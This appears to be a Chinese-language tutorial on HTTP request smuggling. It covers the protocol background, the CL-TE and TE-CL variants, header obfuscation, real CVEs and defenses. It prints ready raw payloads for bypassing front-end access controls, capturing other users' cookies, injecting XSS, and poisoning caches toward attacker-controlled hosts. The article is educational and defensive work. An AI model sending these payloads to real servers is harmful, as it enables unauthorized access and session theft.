一篇文章带你读懂 HTTP Smuggling 攻击
字数 2282 2025-08-25 22:58:46

HTTP请求走私攻击(HTTP Smuggling)全面解析

1. 概述

HTTP请求走私(HTTP Smuggling)是一种利用前端服务器(如反向代理、CDN)和后端服务器对HTTP请求解析不一致的安全漏洞。攻击者通过构造特殊的HTTP请求,使前端和后端服务器对请求边界产生不同理解,从而"走私"恶意请求。

2. 历史演变

  • 2004年:Amit Klein提出HTTP响应拆分(HTTP Response Splitting)技术,是HTTP走私的雏形
  • 2005年:Watchfire首次提出HTTP请求走私(HTTP Request Smuggling)
  • 2009年:Stefano di Paola和Luca Carettoni提出HTTP参数污染(HPP),一种特殊的HTTP走私
  • 2016年:regilero在Defcon 24提出"Hiding Wookiees In Http"
  • 2019年:James Kettle在Defcon 27提出"HTTP Desync Attacks"

3. 技术基础

3.1 HTTP连接模型

Keep-Alive

HTTP/1.1默认使用持久连接,允许在单个TCP连接上承载多个请求和响应,减少TCP握手开销。

Pipeline

客户端可以像流水线一样发送HTTP请求,而不需等待服务器响应。服务器需遵循先入先出机制处理请求。

3.2 消息体处理

Transfer-Encoding

主要用于安全传输二进制数据,在HTTP/1.1引入,HTTP/2取消。常见属性:

  • chunked
  • compress
  • deflate
  • gzip
  • identity

分块传输(chunked)格式

chunked-body = *chunk
                last-chunk
                trailer-part
                CRLF

chunk = chunk-size [ chunk-ext ] CRLF
         chunk-data CRLF

示例:

4\r\n
Wiki\r\n
5\r\n
pedia\r\n
e\r\n
 in\r\n\r\nchunks.\r\n
0\r\n
\r\n

4. 攻击原理

当前端代理服务器和后端源站服务器对HTTP请求解析处理不一致时,攻击者可在一个HTTP请求中"嵌入"另一个HTTP请求。

典型架构:

用户 -> 前端服务器(反向代理/CDN) -> 后端服务器

5. 攻击方法分类

5.1 CL-TE (前端:Content-Length优先, 后端:Transfer-Encoding优先)

示例:

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked

0

G

5.2 TE-CL (前端:Transfer-Encoding优先, 后端:Content-Length优先)

示例:

POST / HTTP/1.1
Host: example.com
Content-length: 4
Transfer-Encoding: chunked

12
GPOST / HTTP/1.1
0

5.3 分块传输异常

5.3.1 错误的分块传输

RFC规定当Transfer-Encoding包含非最终编码的chunked时应返回400错误,但可通过以下方式绕过:

  • Transfer-Encoding: xchunked
  • Transfer-Encoding : chunked (空格)
  • Transfer-Encoding: chunked (制表符)
  • Transfer-Encoding:[tab]chunked
  • 使用空字符等

5.3.2 块大小问题

利用中间件对块大小解析差异:

0000000000000000000000000000042\r\n
\r\n
GET /tmp/ HTTP/1.1\r\n

5.4 HTTP版本利用(HTTP/0.9)

HTTP/0.9请求和响应都没有headers概念,可利用这一特性:

GET /foo\r\n

5.5 GET请求中的Content-Length

RFC未严格规定服务器如何处理带body的GET请求,导致解析差异:

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 41\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

5.6 重复头部字段

5.6.1 重复Content-Length

GET /suzann.html HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 0\r\n
Content-Length: 46\r\n
\r\n
GET /walter.html HTTP/1.1\r\n
Host: example.com\r\n
\r\n

5.6.2 重复Transfer-Encoding

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Transfer-encoding: nothing

5.7 可选空格问题

RFC允许header字段名和冒号间有可选空格,但实现不一致:

Transfer-Encoding :
 chunked

5.8 CRLF处理差异

RFC允许使用LF作为行终止符,忽略前面的CR:

Dummy: Header\rZTransfer-Encoding: chunked\r\n

6. 攻击面

6.1 绕过前端安全控制

通过走私请求访问被前端阻止的后端接口:

POST / HTTP/1.1
Host: example.com
Content-Length: 45
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost

6.2 泄露前端重写规则

获取前端服务器添加的隐藏请求头:

  1. 找到将参数值输出到响应中的POST请求
  2. 将该参数放在消息最后
  3. 走私该请求并观察响应

6.3 捕获其他用户请求

通过评论等功能走私请求,捕获后续用户的请求和cookie:

POST / HTTP/1.1
Host: example.com
Content-Length: 271
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Cookie: session=attacker_session

6.4 利用反射型XSS

结合反射型XSS扩大攻击影响:

POST / HTTP/1.1
Host: example.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: "><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

6.5 将站内重定向转为开放重定向

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

6.6 Web缓存投毒

POST / HTTP/1.1
Host: example.com
Content-Length: 178
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

6.7 Web缓存欺骗

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

7. 真实案例

7.1 PayPal漏洞

通过HTTP走私将登录JS文件投毒,最终实现同源策略绕过。

7.2 Apache Traffic Server (CVE-2018-8004)

利用超大header实现请求拆分:

GET /something.html?zorg2=5 HTTP/1.1
Host: example.com
X: "<65534s>"
GET http://example.com/index.html?replaced=0&cache=8 HTTP/1.1

7.3 Jetty漏洞

  • CVE-2017-7656:HTTP/0.9处理不当
  • CVE-2017-7657:块大小整数溢出
  • CVE-2017-7658:重复Content-Length处理问题

7.4 WebSocket走私

利用WebSocket建立连接时的版本验证问题:

GET /socket.io/?EIO=3&transport=websocket HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 1338
Upgrade: websocket

7.5 Golang漏洞

header字段名与冒号间空格处理问题,已在1.13.1修复。

8. 防御措施

  1. 禁用代理与后端服务器间的TCP连接重用
  2. 使用HTTP/2协议:二进制分帧机制和请求多路复用可有效防止
  3. 前后端使用相同服务器
  4. 严格实现RFC7230-7235标准
  5. 规范化请求处理
    • 拒绝含非法字符的header
    • 严格处理重复header
    • 拒绝非标准分块编码
    • 拒绝带body的GET请求

9. 实验环境

推荐使用docker环境进行学习和测试:

10. 总结

HTTP请求走私是一种危害严重且难以检测的攻击方式,利用不同服务器对HTTP协议实现的差异实施攻击。防御的关键在于严格遵循协议标准和保持前后端处理逻辑的一致性。随着HTTP/2的普及,这类攻击的影响将逐渐减小,但在过渡期仍需保持警惕。

HTTP请求走私攻击(HTTP Smuggling)全面解析 1. 概述 HTTP请求走私(HTTP Smuggling)是一种利用前端服务器(如反向代理、CDN)和后端服务器对HTTP请求解析不一致的安全漏洞。攻击者通过构造特殊的HTTP请求,使前端和后端服务器对请求边界产生不同理解,从而"走私"恶意请求。 2. 历史演变 2004年 :Amit Klein提出HTTP响应拆分(HTTP Response Splitting)技术,是HTTP走私的雏形 2005年 :Watchfire首次提出HTTP请求走私(HTTP Request Smuggling) 2009年 :Stefano di Paola和Luca Carettoni提出HTTP参数污染(HPP),一种特殊的HTTP走私 2016年 :regilero在Defcon 24提出"Hiding Wookiees In Http" 2019年 :James Kettle在Defcon 27提出"HTTP Desync Attacks" 3. 技术基础 3.1 HTTP连接模型 Keep-Alive HTTP/1.1默认使用持久连接,允许在单个TCP连接上承载多个请求和响应,减少TCP握手开销。 Pipeline 客户端可以像流水线一样发送HTTP请求,而不需等待服务器响应。服务器需遵循先入先出机制处理请求。 3.2 消息体处理 Transfer-Encoding 主要用于安全传输二进制数据,在HTTP/1.1引入,HTTP/2取消。常见属性: chunked compress deflate gzip identity 分块传输(chunked)格式 : 示例: 4. 攻击原理 当前端代理服务器和后端源站服务器对HTTP请求解析处理不一致时,攻击者可在一个HTTP请求中"嵌入"另一个HTTP请求。 典型架构: 5. 攻击方法分类 5.1 CL-TE (前端:Content-Length优先, 后端:Transfer-Encoding优先) 示例: 5.2 TE-CL (前端:Transfer-Encoding优先, 后端:Content-Length优先) 示例: 5.3 分块传输异常 5.3.1 错误的分块传输 RFC规定当Transfer-Encoding包含非最终编码的chunked时应返回400错误,但可通过以下方式绕过: Transfer-Encoding: xchunked Transfer-Encoding : chunked (空格) Transfer-Encoding: chunked (制表符) Transfer-Encoding:[tab]chunked 使用空字符等 5.3.2 块大小问题 利用中间件对块大小解析差异: 5.4 HTTP版本利用(HTTP/0.9) HTTP/0.9请求和响应都没有headers概念,可利用这一特性: 5.5 GET请求中的Content-Length RFC未严格规定服务器如何处理带body的GET请求,导致解析差异: 5.6 重复头部字段 5.6.1 重复Content-Length 5.6.2 重复Transfer-Encoding 5.7 可选空格问题 RFC允许header字段名和冒号间有可选空格,但实现不一致: 5.8 CRLF处理差异 RFC允许使用LF作为行终止符,忽略前面的CR: 6. 攻击面 6.1 绕过前端安全控制 通过走私请求访问被前端阻止的后端接口: 6.2 泄露前端重写规则 获取前端服务器添加的隐藏请求头: 找到将参数值输出到响应中的POST请求 将该参数放在消息最后 走私该请求并观察响应 6.3 捕获其他用户请求 通过评论等功能走私请求,捕获后续用户的请求和cookie: 6.4 利用反射型XSS 结合反射型XSS扩大攻击影响: 6.5 将站内重定向转为开放重定向 6.6 Web缓存投毒 6.7 Web缓存欺骗 7. 真实案例 7.1 PayPal漏洞 通过HTTP走私将登录JS文件投毒,最终实现同源策略绕过。 7.2 Apache Traffic Server (CVE-2018-8004) 利用超大header实现请求拆分: 7.3 Jetty漏洞 CVE-2017-7656 :HTTP/0.9处理不当 CVE-2017-7657 :块大小整数溢出 CVE-2017-7658 :重复Content-Length处理问题 7.4 WebSocket走私 利用WebSocket建立连接时的版本验证问题: 7.5 Golang漏洞 header字段名与冒号间空格处理问题,已在1.13.1修复。 8. 防御措施 禁用代理与后端服务器间的TCP连接重用 使用HTTP/2协议 :二进制分帧机制和请求多路复用可有效防止 前后端使用相同服务器 严格实现RFC7230-7235标准 规范化请求处理 : 拒绝含非法字符的header 严格处理重复header 拒绝非标准分块编码 拒绝带body的GET请求 9. 实验环境 推荐使用docker环境进行学习和测试: HTTP-Smuggling-Lab 10. 总结 HTTP请求走私是一种危害严重且难以检测的攻击方式,利用不同服务器对HTTP协议实现的差异实施攻击。防御的关键在于严格遵循协议标准和保持前后端处理逻辑的一致性。随着HTTP/2的普及,这类攻击的影响将逐渐减小,但在过渡期仍需保持警惕。